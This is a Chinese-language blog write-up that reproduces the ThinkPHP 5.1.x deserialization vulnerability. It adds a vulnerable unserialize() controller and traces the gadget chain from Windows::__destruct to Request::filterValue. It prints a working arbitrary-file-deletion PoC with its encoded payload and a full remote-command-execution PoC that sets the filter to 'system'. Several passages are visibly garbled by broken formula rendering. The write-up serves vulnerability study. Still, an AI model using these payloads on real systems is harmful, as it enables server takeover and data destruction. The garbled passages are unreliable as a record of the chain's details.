thinkphp5.1.x反序列化漏洞复现与分析

thinkphp5.1.x反序列化漏洞复现与分析

环境搭建

安装compoer

https://install.phpcomposer.com/composer.phar

放在php目录下,在 PHP 安装目录下新建一个 composer.bat 文件,并将下列代码保存到此文件中

@php "%~dp0composer.phar" %*

进入web根目录进行安装

composer create-project topthink/think=5.1.35 tp5.1

访问

http://localhost/tp5.1/public/

thinkphp5.1.x反序列化漏洞复现与分析_第1张图片

构建反序列化入口

需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用

tp5.1\application\index\controller\Index.php

thinkphp5.1.x反序列化漏洞复现与分析_第2张图片

 public function unser(){
        $tmp = $_POST['test'];
        echo $tmp;
        unserialize(($tmp));
    }

访问thinkphp路由

http://localhost/tp5.1/public/index.php/index/index/unser

漏洞分析

漏洞的起点在 /thinkphp/library/think/process/pipes/Windows.php __destruct()

__destruct析构函数一般用于在对象销毁前的清理任务

thinkphp5.1.x反序列化漏洞复现与分析_第3张图片

根据路径名和函数名也能看出这是windows下的文件相关引起的漏洞

close()无法利用,跟进下 removeFiles()函数

thinkphp5.1.x反序列化漏洞复现与分析_第4张图片

这里遍历了 files,判断文件是否存在,如果存在就进行删除文件参数,并且这里 files可控,所以存在一个任意文件删除漏洞

简单编写poc,更加清晰的展示出来。



namespace think\process\pipes;
class Windows
{
    private $files = [];
    #构造函数更改$files
    public function __construct()
    {
        $this->files = ["C:\\Users\\jin\\Desktop\\1.txt"];
    }

}
echo urlencode(serialize(new Windows()));
#这里可以看出namespace也需要带入

访问得到结果

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A26%3A%22C%3A%5CUsers%5Cjin%5CDesktop%5C1.txt%22%3B%7D%7D

利用我们刚刚在index控制器中创建的反序列化点,传入我们的payload,会发现创建的 1.txt文件已经被删除了。

在这里插入图片描述

任意文件删除是一个小漏洞,命令执行才是我们关注的点

removeFiles()函数中 file_exists会进行传入参数当作字符串进行处理

但是这里如果我们传入的参数是一个对象,那么就会调用对象的 __toString魔术方法,且files值我们可控

但是在 Windows类中并没有 __toString魔术方法

全局搜索下,这里我们选择了 thinkphp/library/think/model/concern/Conversion.php中的 __toString魔术方法

thinkphp5.1.x反序列化漏洞复现与分析_第5张图片

跟进下 toJson方法

thinkphp5.1.x反序列化漏洞复现与分析_第6张图片

继续跟进toArray方法

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

最关键的地方就是看到了$relation->visible($name);如果是可控变量->方法名(可控变量),这里的方法名无所谓因为可以用__call去执行,所以就可以想办法去寻找存在的可利用的方法或者__call。

这里 $this->append可控,同时 $relation会被 getRelation($key)所控制,$relation->visible($name)是可能会被我们所控制的

验证这个猜想,我们继续跟进下 getRelation函数

thinkphp5.1.x反序列化漏洞复现与分析_第7张图片

第一层 $relation要为null,代码才会继续往下执行,所以 getRelation需要直接返回null

if (!$relation) {
	$relation = $this->getAttr($key);
	if ($relation) {
		$relation->visible([$attr]);
	}
}

然后继续跟进 getAttr方法

thinkphp5.1.x反序列化漏洞复现与分析_第8张图片

继续跟进 getData方法

thinkphp5.1.x反序列化漏洞复现与分析_第9张图片

到这里可以总结一下

  • $this->append 可控
  • $this->data 可控
  • k e y 是 key是 keythis->append的键名
  • r e l a t i o n = relation= relation=this->getAttr( k e y ) = key)= key)=this->data( n a m e ) = name)= name)=this->data[$key]
  • r e l a t i o n = relation= relation=this->data[$key]

回到 toArray方法,整个流程就是这样的

thinkphp5.1.x反序列化漏洞复现与分析_第10张图片

当我们 $relation为一个对象时,就可以进行调用类中的 visible方法且传参可控,但是需要注意

_toString()    trait Conversion类
 toArray()       trait Conversion类
 getRelation()   trait Attribute类
 getAttr()       trait Attribute类

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

为了让前面 __toString魔术方法的对象能够同时继承Attribute类和Conversion类。我们需要寻找一个子类,经过寻找,我们找到了 Model类,但是是个抽象类,抽象类不能直接实例化。

thinkphp5.1.x反序列化漏洞复现与分析_第11张图片

全局搜索后,选择了 Pivot继承了 Model

thinkphp5.1.x反序列化漏洞复现与分析_第12张图片

全局搜索 visible方法后,发现都无法利用

现在还缺少一个代码执行可导致RCE的点,需要满足一下条件
1.该类中没有visible方法
2.类中实现了__call方法

我们可以考虑 __call()魔术方法,而且 __call一般会存在 __call_user_func __call_user_func_array,php代码执行的终点经常选择这里。

但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用

__call():在对象中调用一个不可访问方法时调用

经过寻找,Request类的 __call()方法可以使用
thinkphp5.1.x反序列化漏洞复现与分析_第13张图片

但是这里并不能直接利用达到命令执行,这里 $method**是visible, a r g s 是 之 前 的 ∗ ∗ ‘ args是之前的**` argsname **可控,但是有这行代码:**array_unshift($args, t h i s ) ; ‘ ∗ ∗ 会 将 ∗ ∗ ‘ this);`**会将**` this);this**插到** a r g s ‘ ∗ ∗ 前 面 , 使 得 构 造 的 ∗ ∗ ‘ args `**前面,使得构造的**` args使method**执行的参数不可控,** t h i s − > h o o k [ this->hook[ this>hook[method]**是我们能控制的,我们可以构造一个hook数组** h o o k = [ " v i s i b l e " = > " 任 意 方 法 " ] ‘ ∗ ∗ , 想 办 法 控 制 ∗ ∗ ‘ hook=["visible"=>"任意方法"]`**,想办法控制**` hook=["visible"=>""]args就可以控制call_user_func_array`

call_user_func_array([$obj,"任意方法"],[$this,任意参数])
 //也就是这样,是很难进行命令执行的
 $obj->$func($this,$argv)

Thinkphp作为一个web框架,Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处)所以可以尝试覆盖filter的方法去执行代码

我们找到Request类中的 filterValue函数,但是 value是形参不可控,如果我们直接在__call方法中直接调用 filterValue(),那么现在 $value的值始终是 [$this,xxx,xxx]形式的,导致我们无法实现RCE

thinkphp5.1.x反序列化漏洞复现与分析_第14张图片

该方法调用了call_user_func函数,但$value参数不可控,如果能找到一个$value可控的点就好了。
发现input()满足条件,这里用了一个回调函数调用了filterValue,但参数不可控不能直接用

thinkphp5.1.x反序列化漏洞复现与分析_第15张图片

再找找哪个方法调用了input且参数可控,找到param方法

thinkphp5.1.x反序列化漏洞复现与分析_第16张图片

param这里 this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的 data参数可控,也就是 call_user_func $value,现在差一个条件,那就是 name可控,继续回溯

thinkphp5.1.x反序列化漏洞复现与分析_第17张图片

在isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

找到了链的起始位置为isAjax(),而执行代码的位置为input()函数中的filterValue()函数,我们把整个控制流程与代码汇总一下

首先在isAjax函数中,我们可以控制 this->config['var_ajax']意味着param函数中的 $name可控。

进入 param方法

  public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }
#调用input方法,$this->param为get与post所有参数,$name为isAjax传入,$default=null,$filter=''
        return $this->input($this->param, $name, $default, $filter);
    }

再回到input函数中

  public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);
#$data为get与post所有参数,$name的值来自于`$this->config['var_ajax']`
            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

跟进到getData函数

 protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
                #$data为get与post所有参数,$name的值来自于$this->config['var_ajax']
                #所以$data最后为get与post所有参数[$this->config['var_ajax']]
            } else {
                return;
            }
        }

        return $data;
    }

在跟进到getFilter函数

 protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

这里的$filter来自于this->filter,我们需要定义this->filter为函数名

然后执行回调函数

array_walk_recursive($data, [$this, 'filterValue'], $filter);
  • array

输入的数组。

  • callback

典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。

注意:

如果 callback 需要直接作用于数组中的值,则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

  • arg

如果提供了可选参数 arg,将被作为第三个参数传递给 callback

所以这里执行filterValue函数,filterValue.value的值为第一个通过GET请求的值,而filters.keyGET请求的键,并且filters.filters就等于input.filters的值。

现在就可以来构造POC了


 namespace think\process\pipes;
 use think\model\Pivot;
 
 class Windows{
     private $files = [];
     public function __construct(){
         $this->files=[new Pivot()];
     }
 }
 
 namespace think;
 abstract class Model{
     protected $append=[];
     private $data=[];
     public function __construct(){
         $this->append=["lyy9"=>['hello']];
         $this->data=["lyy9"=>new Request()];
     }
 }
 
 namespace think;
 class Request{
     protected $hook = [];
     protected $filter;
     protected $config;
     public function __construct()
     {
         $this->hook['visible'] = [$this, 'isAjax'];
         $this->filter = "system";
     }
 }
 
 namespace think\model;
 use think\Model;
 
 class Pivot extends Model{
 
 }
 
 use think\process\pipes\Windows;
 echo urlencode(serialize(new Windows()));

访问:注意一定要使用pathinfo路由形式(系统默认)

路由形式:http://网址/入口文件/模块名(分组名)/控制器名/方法/参数名/参数值

http://localhost/tp5.1/public/index.php/index/index/unser?lyy9=dir

thinkphp5.1.x反序列化漏洞复现与分析_第18张图片

总结

最后反序列化链

\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()

thinkphp\library\think\model\concern\Conversion.php - > __toString()

thinkphp\library\think\model\concern\Conversion.php - > toJson() 

thinkphp\library\think\model\concern\Conversion.php - > toArray()

thinkphp\library\think\Request.php   - > __call()

thinkphp\library\think\Request.php   - > isAjax()

thinkphp\library\think\Request.php - > param()

thinkphp\library\think\Request.php - > input()

thinkphp\library\think\Request.php - > filterValue()

利用条件

  • 有一个内容完全可控的反序列化点,例如: unserialize(可控变量)
  • 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists('phar://恶意文件')

关键点

通过 file_exists 函数将参数当做字符串执行从而触发类的 __toString 方法。

还有就是不存在可利用的visible函数时转向__call方法

你可能感兴趣的:(漏洞复现,安全,web安全)